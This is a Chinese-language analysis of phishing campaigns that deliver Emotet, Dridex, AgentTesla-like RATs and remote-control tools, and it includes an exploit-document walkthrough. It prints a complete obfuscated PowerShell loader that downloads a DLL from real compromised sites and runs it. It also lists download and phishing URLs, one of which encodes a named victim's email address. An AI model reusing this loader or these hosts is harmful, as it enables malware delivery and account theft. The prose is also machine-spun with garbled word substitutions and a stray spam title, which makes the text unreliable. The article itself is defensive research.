背景

在样本的逆向剖析中,我们打仗到的大多数是直接拿到的恶意样本,有的是PE文件;有的是包含恶意宏代码的office文档;有的是带有漏洞利用的office文档;有的是APK文件;有的是HTA文件;有的只是一个大略的LNK文件……

在剖析这些恶意样本的同时,我们也知道这些样本不是凭空涌如今这里,涌如今受害者的打算机上的。
样本从哪来来,它要到哪里去,它通过什么办法去。
这些都是很故意思的问题,在本文中,笔者对恶意软件投递的紧张分支-钓鱼邮件进行了一个大略的剖析,希望大家能喜好~

首先,个人认为钓鱼攻击和鱼叉攻击是不同的,和钓鱼的定义一样,钓鱼攻击每每没有明确的目标,或是没有精确的目标,只要有鱼儿中计,攻击者就成功了,这种攻击每每涌如今黑灰产攻击中。
而鱼叉攻击每每涌如今APT中,鱼叉攻击的诱饵很有可能是攻击者针对特定目标,结合其兴趣爱好或是事情岗位精心布局的,目的在于精准打击。
但由于很多资料将这两种混为一谈,为了方便描述,不才文中均称为钓鱼攻击。

php邮件钓鱼源码各类灰黑产垂纶邮件归纳综合剖析 Angular

由于钓鱼攻击本钱远远小于漏洞攻击,钓鱼攻击早已被各大家族所青睐,从黑产到APT,从东亚到北欧均有着钓鱼攻击的身影。

账号盗用类钓鱼邮件对微软账号的钓鱼攻击

常日情形下,钓鱼邮件指的便是账号钓鱼。
攻击者通过构建一个假的登录页面,然后通过邮件正文描述或是其他办法,勾引用户点击进入钓鱼页面,输入对应平台的账号密码。
此类邮件在钓鱼邮件中占了非常大一部分,用场也十分广泛,小到可以盗取游戏账号密码,大到可以盗取银行账户密码(这个几率倒是很小)。

某邮件属于针对西班牙相信机构干系用户的钓鱼邮件,邮件主题为西班牙语:Accion escáner xero

邮件紧张是假造西班牙的相信机构Accion以勾引用户打开附件的pdf文件。

为了防止邮件被直接报毒或是pdf被单独剖析,攻击者给pdf文档设置了密码:BACKOFFICE

PDF文档中只有一张超链接图片:

访问该超链接可得到一个仿造微软的钓鱼页面:

针对特定用户的鱼叉攻击

除开上面那种广撒网的钓鱼办法,还有一些高等的钓鱼邮件是针对特定用户的。
这个用户可能是某个网站管理员、也有可能是某个公司职员。
但是常日来讲,被针对的用户一定是非常有代价的,此类邮件相对来说要少一些,但一旦成功,危害每每也更大。

此邮件是针对云端运算的科技公司思杰高等产品总监Derek Thorslund的鱼叉攻击。
邮件原始内容如下:

攻击者伪装了快递公司LBC Express指定发送钓鱼邮件给Derek Thorslund,当受害者单击邮件中的Read Fax之后,则会通过浏览器打开以下页面,哀求用户登录Derek Thorslund的账号密码。
hxxps://citrix.mikewhiteclientsite.com/3539384?ZGVyZWsudGhvcnNsdW5kQGNpdHJpeC5jb20=&&mic#94285?ZGVyZWsudGhvcnNsdW5kQGNpdHJpeC5jb20=

而该页面实际上被一个满屏的iframe给添补了:

添补的地址才是真实的钓鱼页面:hxxps://bqyndorheo.trafficmanager.net/common/pass.php?ijbgtrf=ZGVyZWsudGhvcnNsdW5kQGNpdHJpeC5jb206OjU=

(Web这一块太久没有搞了,如果有说错的地方还望各位大佬见谅~)

而这次钓鱼攻击的工具则是Citrix公司的高等产品总监Derek Thorslund

样本投递类钓鱼邮件银行木马家族Emotet的高度生动

目前Emotet该当是最为生动的银行木马家族,每天的新增样本非常大,且有很多很多个版本。
anyrun上Emotet标签干系样本已有1377页:

而在bazaar上已有超过六万个Emotet干系样本:

笔者这里就以只描述个中一例,让我们管中窥豹看看Emotet强大的运营。

此邮件还是针对西班牙地区的用户。
攻击者仿冒西班牙邮政方案局https://www.mitma.es/

下发了一个包含恶意文档的钓鱼邮件,邮件内容紧张是见告用户基本信息和文档的解压密码:

这种带密码的附件在邮件检测系统中,每每有着比较不错的免杀效果:

解压出来的文件是带有VBA宏代码的doc文档,攻击者伪装成office365官方勾引用户启用宏:

VBA代码有一定程度的稠浊,紧张功能为通过powershell实行一段编码后的base64字符串

实行指令如下:

由于宏代码调试窗口有显示长度限定,这里可以写入到文件查看:

解码后的powershell指令如下:

$U6351=[TYpE]("{2}{0}{1}{4}{3}{5}" -F 'ySTEm.i','O.di','s','EcTO','R','RY') ;$OLV = [tYpe]("{0}{7}{1}{8}{3}{6}{5}{2}{4}" -F'sY','TEm.NE','ntmAN','v','AGeR','I','iCePO','s','T.seR') ; $ErrorActionPreference = ('Si'+('le'+'n')+'t'+('ly'+'C')+('onti'+'n'+'ue'));$Ytd_ppb=$H4_L + [char](64) + $Q01Q;$E15N=(('O'+'1_')+'V'); ( geT-VaRiable u6351 -VaLUEoNLy )::"cRE`ATedIr`eC`Tory"($HOME + (('{0}N'+('sgh'+'o')+'ht{0}'+'G'+'b'+('h5r'+'9o')+'{0}') -f [cHaR]92));$N95W=(('S'+'28')+'S'); ( Ls vArIABle:olV).VAlUE::"SECUr`ITY`PrOTO`coL" = ('Tl'+('s1'+'2'));$K_2L=('B6'+'7O');$Bexo28t = ('Q2'+'7V');$M69N=(('U'+'72')+'A');$Zc7n7y_=$HOME+(('{'+'0'+'}'+('N'+'sg')+'hoht{0}'+'G'+('b'+'h5r')+'9o{0}') -F[CHAR]92)+$Bexo28t+('.d'+'ll');$N_1W=(('M'+'34')+'Y');$Ile_vaa=(']'+('b2'+'['+'s://w'+'heel')+'co'+'mo'+'vi'+('n'+'g.co'+'m/p')+'/R'+'u'+'M'+('eRP'+'a')+'/@'+(']'+'b2[s:/')+('/'+'00')+'z'+('y'+'ku')+'.'+'co'+('m/w'+'p'+'-admin/'+'e')+('Yu1'+'Q/')+'@]'+'b'+('2['+'s://k')+('e'+'tore')+('se'+'tm')+('e'+'.com')+'/w'+'p'+('-'+'cont')+('e'+'nt/pmJ')+'/'+('@'+']b')+'2'+('['+'ss:/'+'/')+('ryco'+'m')+'p'+('ut'+'e')+'r.'+('com/c'+'on')+('ten'+'t/T')+('L/@]'+'b'+'2[s'+'s')+(':'+'//')+'d-'+('c'+'em'+'.com')+'/'+'wp'+('-a'+'d')+('m'+'in')+'/'+('J'+'SLwG1')+('/@]b2[s'+':'+'/')+'/'+('thebes'+'t')+'f'+('ikra'+'h.'+'co')+'m'+('/wp-'+'adm'+'i'+'n/')+('f'+'OIl'+'VX/@')+(']b2'+'[')+('ss:/'+'/')+('ph'+'aw')+('aya'+'ge')+'n'+('cy'+'.com/')+'w'+'p'+('-'+'ad')+'mi'+'n'+('/'+'mXo')+'4b'+'/')."rep`L`ACE"(((']b'+'2[')+'s'),([array]('sd','sw'),('h'+('tt'+'p')),'3d')[1])."s`pLIT"($E__V + $Ytd_ppb + $C54Y);$J37V=(('G5'+'2')+'C');foreach ($Yfpdvur in $Ile_vaa){try{(.('New-'+'Ob'+'ject') SYstem.nEt.webcLiEnT)."DoW`N`l`oadfIle"($Yfpdvur, $Zc7n7y_);$W02H=('C'+('59'+'X'));If ((.('Get-I'+'tem') $Zc7n7y_)."LEnG`TH" -ge 38413) {.('r'+'un'+'dll32') $Zc7n7y_,('Co'+('nt'+'ro')+('l_R'+'u'+'nDL')+'L')."tost`R`ING"();$U78W=('M0'+'1N');break;$F24T=('K'+('3'+'8L'))}}catch{}}$A31I=('V'+('8'+'8J'))

该段powershell的紧张功能是循环要求预定义的地址,考试测验下载dll到本地加载实行:

预定义的下载地址如下:

hxxp://wheelcomoving.com/p/RuMeRPa/hxxp://00zyku.com/wp-admin/eYu1Q/hxxp://ketoresetme.com/wp-content/pmJ/hxxps://rycomputer.com/content/TL/hxxps://d-cem.com/wp-admin/JSLwG1/hxxp://thebestfikrah.com/wp-admin/fOIlVX/hxxps://phawayagency.com/wp-admin/mXo4b/

可以看到大多数下载地址都是wp站点,这里有可能是攻击者自己搭建的wp站点,也有可能是攻击者盗用了别人的wp站点。

下载回来的dll由vc编译,保留了pdb信息:B:\Great_Colo47417192002\Release\demo.pdb目前VT只有六家杀软对其进行查杀

经由剖析,该PDB对应的样本均为Emotet银行木马家族的恶意文件,这里放出部分md5

e4063b9ff606acb932194ee6d3b1bb3f2a36019df952d92a4c2773bba876aac5ce02380fd888e7b33d8bb8d055cebe7f54634ce3868099ab0bc403288bc0173e419c2447da95691b15ea22d2d082fbefc88c6af81fdff2d06c43ffbffd324249984f3c3923529ea92da74271c975e17350c75097512030a9f7b870a951a0dc3092a0b2ca0d9641407b6c2f553d2a8d41843509cdcec6fa2bac88fa573d71d89247956a141849310c4903224a67d37888ef2835d16e6c62dc3d8d989f781333880c43b4bb2c19ffeccaf90c4126f89819809c5016a1ff3d36b9e1b8321687f466fc66175a5e51e4e0c3b68d40e063e9819cd678b75a8b4ba1cb7df94b6f1d6eba4dc86990cce88968576e525e5196e661607e15a699083629640b943a96435f66c5cc669313381a2411b00185d33e7342f4a59d9111d0fa4925dca33c15285beb

该版本的Emotet拥有一个用于解密的导出函数:

解码的数据是名为7765的资源:

钓鱼邮件下发商业远控

随着网络安全的发展,安全从业者在进步的同时,攻击者也在不断的更新攻击办法,各种远控木马纷至沓来。
对付普通的黑灰产来讲,通过钓鱼邮件直接下发远控木马是效率最高的,毕竟广撒网,总有安全意识薄弱的人会中招。

目前通过钓鱼邮件下发的木马紧张有AgentTesla、SnakeKeyLogger、NonaCore、QuasarRAT、njRAT、Guloader、RemcosRAT以及更多笔者没看到的样本。

这里也只大概举例,不会对每类样本进行详细剖析。

个中一封钓鱼邮件是攻击者以付款关照为诱饵对葡萄牙地区用户发起的钓鱼攻击:

两个附件解压出来均为C#编写的Nanobot后门。

钓鱼邮件下发漏洞文档

直接投递exe,效率是有了,但是成功率较低,且pe作为附件在没有加密压缩的情形下大多数时候还是会被检测到。
这个时候,对exe文件进行加密压缩然后将解压密码写在邮件正文中是一个不错的办理方案。
投递带漏洞的office加载exe是另一个不错的办理方案。
这里以一个11882漏洞利用的样本为例:

邮件伪装了Platech的发卖总监下发账单,勾引受害者下载并打开附件xlsx文件

经由大略剖析可知附件的xls文档并非VBA宏代码,而是11882的漏洞利用文档,于是直接在Eqendt32.exe的00411658漏洞触发点处设置断点:

断点设置成功后,打开恶意文档触发断点:

漏洞触发后,会跳转到shellcode实行:

解密出URLDownloadToFile并考试测验从hxxp://216.170.114.70/regasm/vbc.exe 下载vbc.exe到本地加载实行

考试测验下载文件保存到C:\Users\Public\Public\vbc.exe并通过ShellExecute实行:

下载回来的vbc.exe依旧是C#编写的远控木马,疑似为AgentTesla,通过邮件的办法将本地网络到的信息上传到攻击者的邮件做事器:smtp.osmosissasia.com

利用正规远程掌握工具

除了利用商业木马和定制木马,利用正规的远程掌握工具完成对受害者的远控也不少。

此邮件是攻击者仿冒了俄罗斯的货色运输公司Dellin对俄罗斯用户发起的钓鱼攻击。

为了取得受害者信赖,攻击者构建了大篇幅的虚假信息和一个带密码保护的附件文档,勾引用户解压并运行附件文件:

附件中的样本解压后可以看到伪装为了pdf文档,文档名译为电子哀求.exe

经由大略剖析,该文件属于sfx自解压文档,内含一个msi安装包和一个Install.exe

两个EXE均为Remotet Utilities远程掌握工具,installer.exe用于暗藏安装host_news_mod_mod.msi文件,host_news_mod_mod安装界面如下:

经由大略剖析,和之前黑产利用tv远控受害者类似,这次攻击中,攻击者也是通过正规的远程掌握工具进行攻击。

Macro4.0宏文档投递

之以是将Macro4.0宏单独拿出来写,是由于这种宏代码实行的办法跟我们熟知的VBA不一样。
先先容一下Macro4.0

微软从1992年开始在office中引用了名为Excel4.0的宏代码技能,也被成为XLM宏。
和如今常见的VBA宏不同的是,Excel4.0宏代码写在表格中,宏代码的详细文件呈现为xml而不是二进制文件。
1993年,微软更新了Excel5.0技能,也便是现在常见的VBA宏代码。

顺便说一下,关于VBA和VBS的关系。
个人理解VBA和VBS语法相同,紧张是依赖环境不同。
VBS依赖于wscript.exe实行,而VBA代码依赖于office组件实行。

根据微软的数据来看,从Excel2010到Excel2019全线产品都支持Excel4.0宏。
同时微软也提到,虽然目前Microsoft Excel仍旧支持Excel4.0宏,但还是建议用户利用VBA宏。

Macro4.0常见运用

Excel4.0的创建非常大略,只须要在某个事情表上右键,选择插入:

在弹出来的对话框中选择MS Excel4.0:

Excel则会自动创建一个名为Macro1的新事情表,中体裁系下为<宏1>,在创建的新事情表中,可以实行宏指令。

选中第一行宏代码,右键选择实行:

宏代码运行之后,则会弹出cmd和弹框显示Macro4.0 Test

从Excel4.0的设计初衷来看,该类宏可以很方便的帮忙Excel进行各种的数据打算和汇总。

2018年10月份,来自Outflank的安全研究员曝光了此类技能在恶意软件中的大肆利用,并且指出利用XLM宏比常见的VBA宏具有更好的免杀性。

缘故原由紧张是:XLM宏和VBA宏的设计理念不同,导致了宏代码在文件构造中的呈现不同。

和VBA宏一样的是,在文件打开时,Excel依旧会提醒用户Because of your security settings, macros have been disabled. To run macros, you need to reopen this workbook, and then choose to enable macros. For more information about enabling macros, click Help.让用户决定是否要启用宏。

不同的是,当用户单击启用之后,ALT + F11打开宏代码窗口,却并不能看到宏代码。
也不能通过一些常见的宏代码提取工具检测剖析宏。

这是由于默认情形下,XLM宏代码存储在xl\Macrosheets\文件夹下的Sheet1.xml中。
打开该xml文件,可以清晰的看到刚才在Excel事情表中插入的宏代码。

保护办法

对付VBA代码来讲,最常见的保护办法为稠浊和密码保护。
但两者均有弊端。
对付稠浊来讲,由于VBA代码能做的东西始终有限,以是大部分的VBA的紧张功能都是一个loader/downloader。
大多数的VBA会通过繁芜的流程和解码、末了调用powershell指令下载并实行后续的payload。
或者在本地开释一个脚本并通过com组件加载实行。

对付密码保护来讲,熟习office文件格式的剖析者可以很快绕过密码保护,且现在有很多工具可以直接删除掉密码。

对付XLM宏来讲,最常见的保护办法为隐蔽。

最根本的隐蔽办法是直接在带有宏的事情表上右键,选择隐蔽:

这种办法不太靠谱,也被称作为浅隐蔽,用户只须要在任意表格上右键,选择取消隐蔽即可找到隐蔽的Macro事情表。

以钓鱼邮件中的一例实际样本为例,原始样本模拟了一份中学成绩单,并且显示只有一个sheet表格。

在Sheet1上右键,选择取消隐蔽,会弹出对话框显示一个名为(m1)(m2)(m3)的事情表

取消隐蔽后的事情表如下,这里可以看到,左上角第一个单元格是G1,而不是A1,以是可以知道,有列单元格被隐蔽,隐蔽在列单元格上右键,取消隐蔽即可显示前面的单元格。

取消隐蔽之后,在A列和C列中,即显示了恶意的宏代码,宏代码没什么特殊的,在此文中不作详细剖析。

可以看到,这样的隐蔽办法还是很随意马虎就能够被剖析职员所找到,代码的保护性做的不是很好。
接下来看看通过hex数据修正来实现事情表隐蔽的样本。

还是以一个实际的样本为例,样本内嵌了Excel4.0宏,但是在事情表上鼠标右键却显示没有隐蔽的事情表。

针对此类样本,可以在利用010之类的hex数据编辑工具,搜索85 00筛选一下,然后今后数九个字节,这里的值该当是00 01 02中的个中一项。
个中00 表示不隐蔽,01表示浅隐蔽(可通过鼠标右键取消隐蔽) 02表示深度隐蔽(无法在Excel中找到)这里是02,以是可以手动将其修正为00 或者01,即可在excel中找到对应的事情表。

首先修正为01验证一下,修正为01之后打开文档,即可通过鼠标右键取消隐蔽带宏的事情表。

修正为00之后,打开xls文档即可看到该事情表:

详细宏代码如下:

这样操作背后的事理支持实在是修正BOUNDSHEET这个构造。
若对该构造感兴趣可下载XLM的构造解析连续研究:https://download.microsoft.com/download/1/A/9/1A96F918-793B-4A55-8B36-84113F275ADD/Excel97-2007BinaryFileFormat(xls)Specification.pdf

接下来再看一个实际样本,是其余一种大略的隐蔽办法。
攻击者以账单为诱饵,投递了一个xlsm文件:

xlsm文件中有一个名为Rectangle3 的文本框,文本框内容为View your invoice,单击该文本框会触发宏代码:

确保了该文档没有隐蔽的事情表之后,我们可以直接在当前事情表搜索即是符号”=”,在I2681的地方可以看到干系代码:

这里很明显是将文件设置为了和背景一样的白色,可以全选文档,然后变动所有笔墨的颜色,然后再缩小文档,就可以看到藏有代码的单元格:

这里的宏代码运行后会考试测验从hxxp://expenses.zaytechsolutions.com/we18w1i.gif 下载一个由VC编译的dll文件到本地加载实行:

经由大略剖析,该dll疑似为网银木马家族Dridex的样本,且该dll包含了一个pdb路径:c:\DependSlow\ProvideBrought\ArriveHad\Swim.pdb

根据该PDB,又可以找到四个关联样本:139af2873a7e9e1751ada1862bde70ea08c40826bf7cd3963b4f133c74216241d371f6568e6cc494fbf8bee063fe8c09831c361b1f54a876c98fb6bf3cd5d688

将关联的样本下载回来剖析,基本可以确定是Dridex家族样本。

小结

就本文而言,例举了小部分的的钓鱼样本,只是抛砖引玉,从样本分析的角度对目前常见的灰黑产干系的钓鱼邮件进行了一个大略的剖析。
关于邮件假造、钓鱼域名等内容并未展开阐述。

钓鱼邮件一贯是撕开企业安全口子的一个常见办法,随着邮件检测系统的日渐遍及,攻击者用了加密码这种很大略的办法就可以绕过大多数的检测系统。
相信在之后的钓鱼攻击中,带密码的附件将会越来越多,作为防守方,我们则须要从攻击者编造的正文小作文中提取出有效的密码进行有效防御。
但无论是邮件检测,还是本地杀软,防守都是比较被动的,攻击者可以通过很多办法来绕过检测,再加上邮件正文的甜言蜜语,没有安全意识的用户中招是再正常不过的事情,笔者认为,光靠检测系统,是不可能防御掉所有的钓鱼邮件的,现有的检测系统大多数只能查过去的样本,只能在攻击者后面追着跑,真正防御的办法,还是培养大家拥有一个良好的安全意识。
(虽然这个更难)